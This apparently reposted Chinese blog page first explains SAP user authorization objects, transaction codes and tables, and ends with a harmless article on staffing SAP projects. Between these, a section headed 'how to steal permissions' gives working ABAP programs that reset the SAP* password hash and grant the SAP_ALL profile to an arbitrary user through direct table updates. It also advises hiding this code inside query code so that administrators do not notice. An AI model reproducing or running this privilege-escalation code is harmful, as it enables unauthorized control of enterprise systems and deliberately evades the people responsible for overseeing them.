SAP 使用者權限及破解警惕:SAP 使用者權限及破解

SAP 使用者權限及破解警惕:SAP 使用者權限及破解 SAP 使用者權限使用者權限解剖: 通常basis會使用PFCG做許可權管理,時你儲存時會產生一個系統外的prifile name, 記得SU01時使用者有profile 和role兩欄位嗎?它們的關係如何呢? 首先明白幾個概念. 1.activity 這樣說吧,我們從activity談起,activity是什麼意思這個你查下字典也就知道了,對就是規定可做什麼動作,比如說不能吸煙只能喝酒,不能多於2兩, 不對,這是我老婆講的,SAP不是這樣子的,是只能insert, update,display什麼的. 這些東西當年德國佬是寫在tobj表中的. activity 也是可分activity group的. 2.activity category &Authorization group Role Vs Profile 你看看錶T020就知道了,就是什麼K,D, A, M什麼的. profile是什麼呢?實際上可以理解為所有的authorization data(有很多authorization group--{你可使用OBA7填寫, 許可權太細也不是好事^_^}和activity組成)的一個集合的名字,通常一個自訂的role產生一個profile,SAP許可權控制是根據profile裡的authorization data(objects)來控制的. role又是什麼呢?role只是一個名字而已,然後將profile賦予給它, 比如你SU01建立一個使用者,我沒有任何role,但是加如SAP_All profile 也是可做任何事情. SAP本身有很多default role & profile. 3.最常用的PFCG->authorizations->change authorization data-> 進入後選取selection criteria 可看到所有的authorization object manually可手工加authorization object,比如你使用某個t-code許可權出錯誤,abap使用SU53檢查就知道缺少哪個authorization objec,然後手工加入就可以. 你選去authorization levels就可by account type再細分許可權. 有些甚至直接到表欄位.而且你甚至可給一個object分配緩衝buffer. 那麼SAP是如何做到許可權控制的呢,屠夫就用到小宰一下. 4.關於許可權方面的幾個t-code. (一)Role(角色)相關T-code: PFAC 標準 PFAC_CHG 改變 PFAC_DEL 刪除 PFAC_DIS 顯示 PFAC_INS 建立 PFAC_STR PFCG 建立 ROLE_CMP 比較 SUPC 批量建立角色profile SWUJ 測試 SU03 檢測authorzation data SU25, SU26 檢查updated profile (二)建立使用者相關T-code: SU0 SU01 SU01D SU01_N*** SU05 SU50, Su51, SU52 SU1 SU10 批量 SU12 批量 SUCOMP:維護使用者公司地址 SU2 change使用者參數 SUIM 使用者資訊系統使用者組 SUGR:維護 SUGRD:顯示 SUGRD_N***:還是維護 SUGR_N***:還是顯示 (三)關於profile&Authoraztion Data SU02:直接建立profile不用role SU20:細分Authorization Fields SU21(SU03):****維護Authorization Objects(TOBJ,USR12). 對於憑證你可細分到: F_BKPF_BED: Accounting Document: Account Authorization for Customers F_BKPF_BEK: Accounting Document: Account Authorization for Vendors F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts F_BKPF_BLA: Accounting Document: Authorization for Document Types F_BKPF_BUK: Accounting Document: Authorization for Company Codes F_BKPF_BUP: Accounting Document: Authorization for Posting Periods F_BKPF_GSB: Accounting Document: Authorization for Business Areas F_BKPF_KOA: Accounting Document: Authorization for Account Types F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy 然後你進去還可細分,這些個東西是save在USR12表中的. 在DB層是UTAB. 對具體transaction code細分: SU22,SU24 SU53:*** 就是你出錯用來檢查沒有那些authoraztion objects. SU56:分析authoraztion data buffers. SU87:用來檢查使用者改變產生的history SU96,SU97,SU98,SU99:幹啥的? SUPC:批量產生role DB和logical層: SUKRI:Transaction Combinations Critical for Security tables: TOBJ : All avaiable authorzation objects.(全在此) USR12: 使用者級authoraztion值 ----------------------------- USR01:主要資料 USR02:密碼在此 USR04:授權在此 USR03:User address data USR05:User Master Parameter ID USR06:Additional Data per User USR07:Object/values of last authorization check that failed USR08:Table for user menu entries USR09:Entries for user menus (work areas) USR10:User master authorization profiles USR11:User Master Texts for Profiles (USR10) USR12:User master authorization values USR13:Short Texts for Authorizations USR14:Surchargeable Language Versions per User USR15:External User Name USR16:Values for Variables for User Authorizations USR20:Date of last user master reorganization USR21:Assign user name address key USR22:Logon data without kernel access USR30:Additional Information for User Menu USR40:Table for illegal passwords USR41:目前使用者 USREFUS: USRBF2 USRBF3 UST04:User Profile在此 UST10C: Composite profiles UST10S: Single profiles (角色對應的 UST12 : Authorizations.............................. .............................. 如何竊取許可權 .............................. 使用者: User type使用者類型(幹啥用的不講): 通常的使用者類型有 a.dialog (就是normal user) b.communication c.system d.service e.reference. 通常你在使用任何T-code前一定會有許可權檢測的. AUTHORITY_CHECK:這個函數只是小檢查一下你的user有沒有,什麼時候到期. **如果coding只要使用此函數就夠了. AUTHORITY_CHECK_TCODE:檢查T-code 這倆函數是真正檢查autorization objects的. SUSR_USER_AUTH_FOR_OBJ_GET: AUTHORIZATION_DATA_READ_SELOBJ: ------------------------------------------ 將SAP*的密碼改成123的程式,很簡單. 我們找到那個user logon表USR02. (DF52478E6FF90EEB是經過SAP加密儲存在DB的,哪位老兄研究過SAP的密碼加密?) report zmodSAP*. data zUSR02 like USR02 . select single * into zUSR02 from USR02 where BNAME = 'SAP*'. zUSR02-Bcode = 'DF52478E6FF90EEB' . Update USR02 from zUSR02 . 現在的問題是如何讓你那basis不發現,很簡單,將code隱藏在Query裡面,就是說你做一個 query,query是會產生code的,然後你加入此代碼,誰能想到???然後你就等你的basis去哭... 這樣做太狠毒了.還是自己偷偷搞自己的使用者吧. 在此你必須對許可權結構非常清晰. 許可權和三個表有關係. a.USR04 b.USR04 c.USRBF2 這個表是對應到所用的authorzization objects的. *&---------------------------------------------------------------------* *& Report : Steal SAP ALL Right * *& Creation Date : 2004.04.01 * *& Created by : Stone.Fu * *& Description : 可竊取SAP ALL許可權 * *& Modified Date : 2005.11.02 *& Description : 將此code hide在report painter or query code * *&---------------------------------------------------------------------* report zrightsteal. data zUSR04 like USR04 . "????????work area?? data zUST04 like USR04 . data zPROFS like USR04-PROFS. data ZUSRBF2 like USRBF2 occurs 0 with header line. "USRBF2?????internal table ** Update Authorization table USR04. select single * into zUSR04 from USR04 where BNAME = 'ZABC2'. "SAP All 許可權 move 'C SAP_ALL' to zPROFS . ZUSR04-NRPRO = '14'. zUSR04-PROFS = zPROFS. Update USR04 from zUSR04 . **Update User authorization masters table UST04 . select single * into zUST04 from UST04 where BNAME = 'ZABC2'. zUST04-PROFILE = 'SAP_ALL'. "SAP all 許可權 Update UST04 from zUST04 . *?????insert *ZUST04-MANDT = '200'. *ZUST04-BNAME = 'ZABC2'. *ZUST04-PROFILE = 'SAP_ALL'. *Insert UST04 from ZUST04 . select * from USRBF2 into table ZUSRBF2 where BNAME = 'SAP*' . Loop at ZUSRBF2. ZUSRBF2-BNAME = 'ZABC2'. Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME. endloop. INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS. 自己建立一個ztest使用者不給它任何許可權然後在test machine上run 報表zrightsteal. 然後ztest就是SAP_ALL了, 然後你將code hide在SQP query的code中. ABAP code太容易被人發現. 關於修改SAP*的密碼，事實上在實際使用中，sap*都是被lock的 此外，運行此程式的使用者需要有S_PROGRAM或者S_QUERY中的相應許可權。 niuchao 發表於:2007.09.28 13:56 ::分類: ( SAP ) ::閱讀:(117次) :: Permanent link :: 引用 (0) 2007 年 09 月 25日, 星期二中小SAP項目中的人員編製 (源於W39) 中小SAP項目中的人員編製 對於SAP項目來說，常有人把項目所需的人員說的很多－－每個模組一個內部顧問和一個開發的，再算上BASIS和文員，怎麼說也得十幾號人吧。這樣的規模讓人望而卻步。 但實際上，SAP的項目在上線後的很長一個階段都不需要進行大的調整，作為內部顧問來說更多的是需要學習－－為後續的改善或者擴充學習新的知識。而這個階段所產生的問題主要是使用者操作不夠熟練造成的。通過合理的調配人員，中小企業可以大大壓縮人員方面的投入。對於中小企業來說一個SAP項目合理的內部顧問可以控制在5-6人左右。 ERP的內部維護分為四個層次，兩個階段第一層是系統應用程式層，這一層需要解決的主要是些操作層次的問題。比如說開採購訂單輸入錯了價格需要修改，倉庫進倉輸錯了日期。這個層次的問題通常可以在關鍵使用者這裡得到解決－－問題更多的表現在流程和許可權上。只要給關鍵使用者開通了修改記錄的許可權，出現錯誤時可以由專人進行修改就可以了。這部分屬於日常工作。 本人曾經做過統計，以下問題佔到了系統問題的70％以上： 1、 由於使用者原因導致沒有按時輸入資料或漏輸資料。 2、 由於操作不熟練導致的輸錯資料，特別是金額和日期。 3、 由於流程上的配合問題導致的錯誤。 第二個層次是系統配置方面的。這個層次的問題主要是使用者需要增加一些倉庫、工廠、訂單類型方面的資料，由於對系統影響很大，只能由內部顧問來操作。當系統運行過一定時間以後，在管理方面需要最佳化、升級或擴充時也需要由內部顧問來對系統進行重新設定，但通常在配置方面的工作量不會很大。這部分屬於特別情況的處理。 第三個層次系統開發層次。開發層次分為兩個階段，第一階段是系統報表的開放，通常在系統上線後的一段時間內報表的開發需求會比較大。當系統穩定運行了一段時間以後，使用者對功能方面的需求也會逐步增加，這時就會進入到第二階段，即系統功能方面的開發。當然，SAP本身是個比較完善的系統，開發的工作更多的是與其他系統的介面。第一階段的工作也屬於日常維護的範圍。第二階段則屬於特別情況的處理，需要由ERP專案經理與使用者具體溝通。 第四個層次系統安全與備份。這部分的維護工作通常由BASIS來專門負責，負責的內容包括使用者授權，系統備份和效能最佳化等。這是屬於日常工作之一。 從以上的情況來看，只要我們建立了有層次的維護體系就能將顧問人員的數量盡量減少。 下面將不同人員的權責進行劃分，來最佳化ERP項目的組織圖。 1、關鍵使用者關鍵使用者由部門的文員或部門領導指定的人員擔任，主要負責解決本部門或本模組操作層次上發生的所有問題。要求其具備以下基本素質： A、 瞭解本部門的運作流程和工作職責。 B、 瞭解本部門在ERP項目中的所有操作。 C、 記錄系統運行過程中出現的所有問題，並整理歸檔。 D、 解答終端使用者提出的問題，並將不能解決的問題及時反饋給內部顧問。關鍵使用者需要將系統出現的問題進行歸納整理，實現問題處理標準化。這樣可以將大量基礎的問題在最短的時間內解決。減輕內部顧問的工作壓力。通過這樣的方式，內部顧問的日常工作就是系統報表的開發和系統功能的深入研究。關鍵使用者基本上按每個部門最少一名來配備。關鍵使用者在原部門工作和ERP項目上的投入約為2：1的比例。可以考慮給每名關鍵使用者增加300－500元的崗位工資。但必須對其工作進行有效考核。 2、內部顧問（模組顧問）內部顧問主要由IT部門的人員擔任，內部顧問必須具備以下素質： A、 熟悉ERP產品，熟悉所負責模組的基本配置，並能深入研究該模組的擴充功能 B、 在熟悉一個模組配置的基礎上依據公司的安排協助同事維護第二個模組的功能，並逐步掌握該模組的基本配置。 C、 負責本模組的系統二次開發功能，對於跨模組的功能開發由專案經理安排與其他顧問分工合作。 D、 收集和整理本模組遇到的所有問題，並對問題進行分析總結。定期提交總結報告。並在該報告的基礎上提交改善意見。 E、 對ERP的關鍵使用者、終端使用者定期培訓，特別是解決事實過程中遇到的各種問題。 F、 負責分公司ERP項目的實施工作，指導分公司相關人員正確的匯入ERP系統。按PP、MM、SD、FI/CO四個部分來配置，需要4名內部顧問。 3、系統顧問（技術顧問）技術顧問主要負責ERP系統的許可權管理、系統維護和效能最佳化，系統顧問必須具備以下素質： A、 瞭解和掌握公司ERP系統的軟、硬體知識，特別是主機的維護管理知識。定期對系統進行備份，保障系統的正常穩定運行。 B、 登陸ERP的服務網站，及時掌握系統的更新資訊，及時給系統打上功能或安全補丁。 C、 深入瞭解作業系統的最佳化、監控功能，即使預報可能出現的問題。特別要監控系統的硬碟空間、記憶體使用量資訊。 D、 掌握ERP系統的許可權管理功能，並根據使用者的申請和領導審批的結果在系統中為使用者增刪許可權。 E、 在ERP的服務網站上登記系統出現的問題（如SAP的OSS網站和ORACLE的MEATLINK網站），並將ERP服務網站上反饋的結果及時反饋給相關顧問。企業需要配備一名專職的技術顧問。 通過以上的安排我們可以建立關鍵使用者->內部顧問->技術顧問三個層次的支援體系。操作層次的問題盡量在關鍵使用者層次解決，系統配置和最佳化方面的問題在內部顧問層次解決。當內部顧問無法解決問題後由技術顧問在ERP服務網站上尋求協助。 同時內部顧問之間也考慮到了相互的配合與冗餘：一個顧問主要負責一個模組的工作，並協助處理另一個模組的工作，每半年到一年交換一次負責的模組。這樣當某個顧問離職時另一個顧問也可以很快的接手其工作，防止服務中斷。更重要的是，我們以可以在關鍵使用者中培養和挖掘ERP服務人才。對於那些有興趣維護系統，並對系統有一定瞭解的人，提供了升為內部顧問的空間。當公司的ERP實施部門需要擴充時可以隨時從這批人中間提拔。 從時間上來看，內部顧問的工作會分為三個大的階段：第一階段：ERP項目實施時，內部顧問需要快速學習ERP產品的前台、後台功能。掌握ERP系統的維護技巧，能在外部顧問離開後全盤接手系統的基本維護工作。第二階段：ERP項目上線後的半年內，內部顧問需要記錄和整理上線過程中出現的問題，並做簡單的報表開發。第三階段：ERP系統上線穩定以後，內部顧問需要對ERP項目的實施效果進行評估，並依據公司高層對ERP項目的更多要求拓展ERP系統應用。 僅就SAP產品來說，系統上線後的維護人員有的公司只有三到四人，如聯想公司這樣的，內部顧問多達300人以上。顧問多與少的因素主要取決於公司對ERP產品的定位：是否需要更深入的應用（應用的模組越多，顧問的需求越多），是否需要與其他系統進行介面以及企業是否有某些特殊的要求（定製開發特別的功能）。 從XX的實際情況來看，我認為有五名顧問即可。當然，對於PP和FI/CO這樣難度比較大的模組，可以考慮外部招聘，招聘有一定經驗的人來擔任。

 

(this article come from niuchao's space)